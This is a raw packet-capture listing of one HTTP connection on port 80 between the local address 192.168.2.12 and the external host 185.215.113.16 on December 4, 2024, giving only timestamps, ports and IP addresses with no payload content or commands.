Dec 4, 2024 16:11:03.119350910 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.119378090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.120182037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.120223999 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.120239019 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.121184111 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.121268034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.121293068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.122191906 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.122296095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.122339010 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.123167038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.123254061 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.123272896 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.124134064 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.124175072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.124203920 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.125085115 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.125149965 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.125272989 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.126111031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.126174927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.126204014 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.127068043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.127182007 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.127213001 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.128005981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.128070116 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.128098965 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.129061937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.129137039 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.129229069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.130193949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.130285025 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.130300045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.131417036 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.131481886 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.131871939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.132282972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.132343054 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.132389069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.133217096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.133299112 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.133330107 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.134306908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.134366989 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.134412050 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.135373116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.135385036 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.135459900 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.136493921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.136504889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.136554003 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.137300968 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.137366056 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.137451887 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.138307095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.138360023 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.138442039 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.139036894 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.139103889 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.139137983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.139880896 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.139974117 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.139997959 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.140878916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.140935898 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.141032934 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.142060995 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.142117977 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.142307997 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.143695116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.143765926 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.143774986 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.144510984 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.144635916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.144649982 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.145328999 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.145479918 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.145492077 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.146394968 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.146461010 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.146600962 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.198862076 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.265831947 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.265922070 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.266099930 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.266220093 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.266275883 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.266324043 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.267119884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.267386913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.267435074 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.268091917 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.290494919 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.290611982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.290617943 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.290925026 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.290973902 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.291079044 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.291143894 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.291213036 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.292177916 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.292238951 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.292299986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.293112040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.293203115 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.293251991 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.293989897 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.294111013 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.294183016 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.294976950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.295108080 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.295166016 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.296008110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.296053886 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.296123981 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.297032118 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.297122002 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.297180891 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.297920942 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.298042059 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.298089981 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.298882961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.298923016 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.298988104 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.299891949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.300007105 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.300075054 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.300842047 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.300856113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.300909042 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.301798105 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.301938057 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.302036047 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.302788019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.302889109 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.302948952 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.303869963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.303958893 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.304033995 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.304707050 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.304804087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.305006027 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.305691004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.305794001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.305958033 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.306699038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.306813002 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.306866884 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.307677031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.307734013 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.307810068 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.308710098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.308790922 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.308839083 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.309712887 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.309772015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.309822083 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.310580969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.310683012 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.310791969 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.311584949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.311681032 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.311758041 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.312566996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.312586069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.312658072 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.313494921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.313606977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.313803911 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.314459085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.314562082 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.314668894 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.315486908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.315562963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.315608978 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.316416979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.316519976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.316633940 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.317390919 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.317467928 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.317548990 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.318376064 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.318474054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.318562031 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.319451094 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.319555998 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.319684029 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.320310116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.320436001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.320550919 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.321305990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.321414948 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.321576118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.322345018 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.322501898 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.322590113 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.323271036 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.323436022 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.323518991 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.324233055 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.324460983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.324527025 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.325191975 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.325297117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.325388908 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.326139927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.326267004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.326642036 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.327163935 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.327302933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.327369928 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.328530073 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.328634977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.328718901 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.329320908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.329413891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.329474926 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.330163002 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.330280066 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.330333948 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.331080914 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.331264019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.331336021 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.332030058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.332144976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.332195997 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.332998037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.333043098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.333125114 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.334052086 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.334177971 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.334256887 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.335098028 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.335160017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.335263014 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.335974932 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.336093903 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.336148024 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.336966038 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.337066889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.337181091 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.337883949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.337948084 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.337995052 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.458236933 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.458312988 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.458460093 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.458657980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.458755970 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.458848953 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.459557056 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.459630013 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.460432053 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.460504055 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.483740091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.483880043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.484014034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.484257936 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.484271049 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.484319925 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.485234976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.485256910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.485336065 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.486182928 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.486304998 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.486311913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.487303019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.487422943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.487481117 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.488174915 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.488236904 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.488251925 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.489115953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.489238024 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.489308119 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.490108967 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.490196943 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.490204096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.491070986 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.491204977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.491286993 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.492077112 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.492153883 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.492284060 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.493175030 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.493421078 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.493486881 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.494206905 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.494266987 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.494366884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.494996071 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.495089054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.495222092 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.495971918 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.496088982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.496186018 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.496959925 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.497117996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.497174978 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.497900009 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.497968912 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.498001099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.498985052 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.499203920 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.499259949 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.499964952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.500036001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.500041962 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.500822067 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.500924110 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.500989914 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.501820087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.501892090 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.501928091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.502840042 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.503015041 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.503088951 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.503757954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.503829956 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.504154921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.504700899 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.504827976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.504928112 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.506004095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.506074905 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.506120920 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.506680965 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.506769896 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.506841898 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.507680893 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.507741928 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.507750034 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.508600950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.508728027 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.508812904 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.509589911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:03.509648085 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:03.509718895 CET	80	49724	185.215.113.16	192.168.2.12
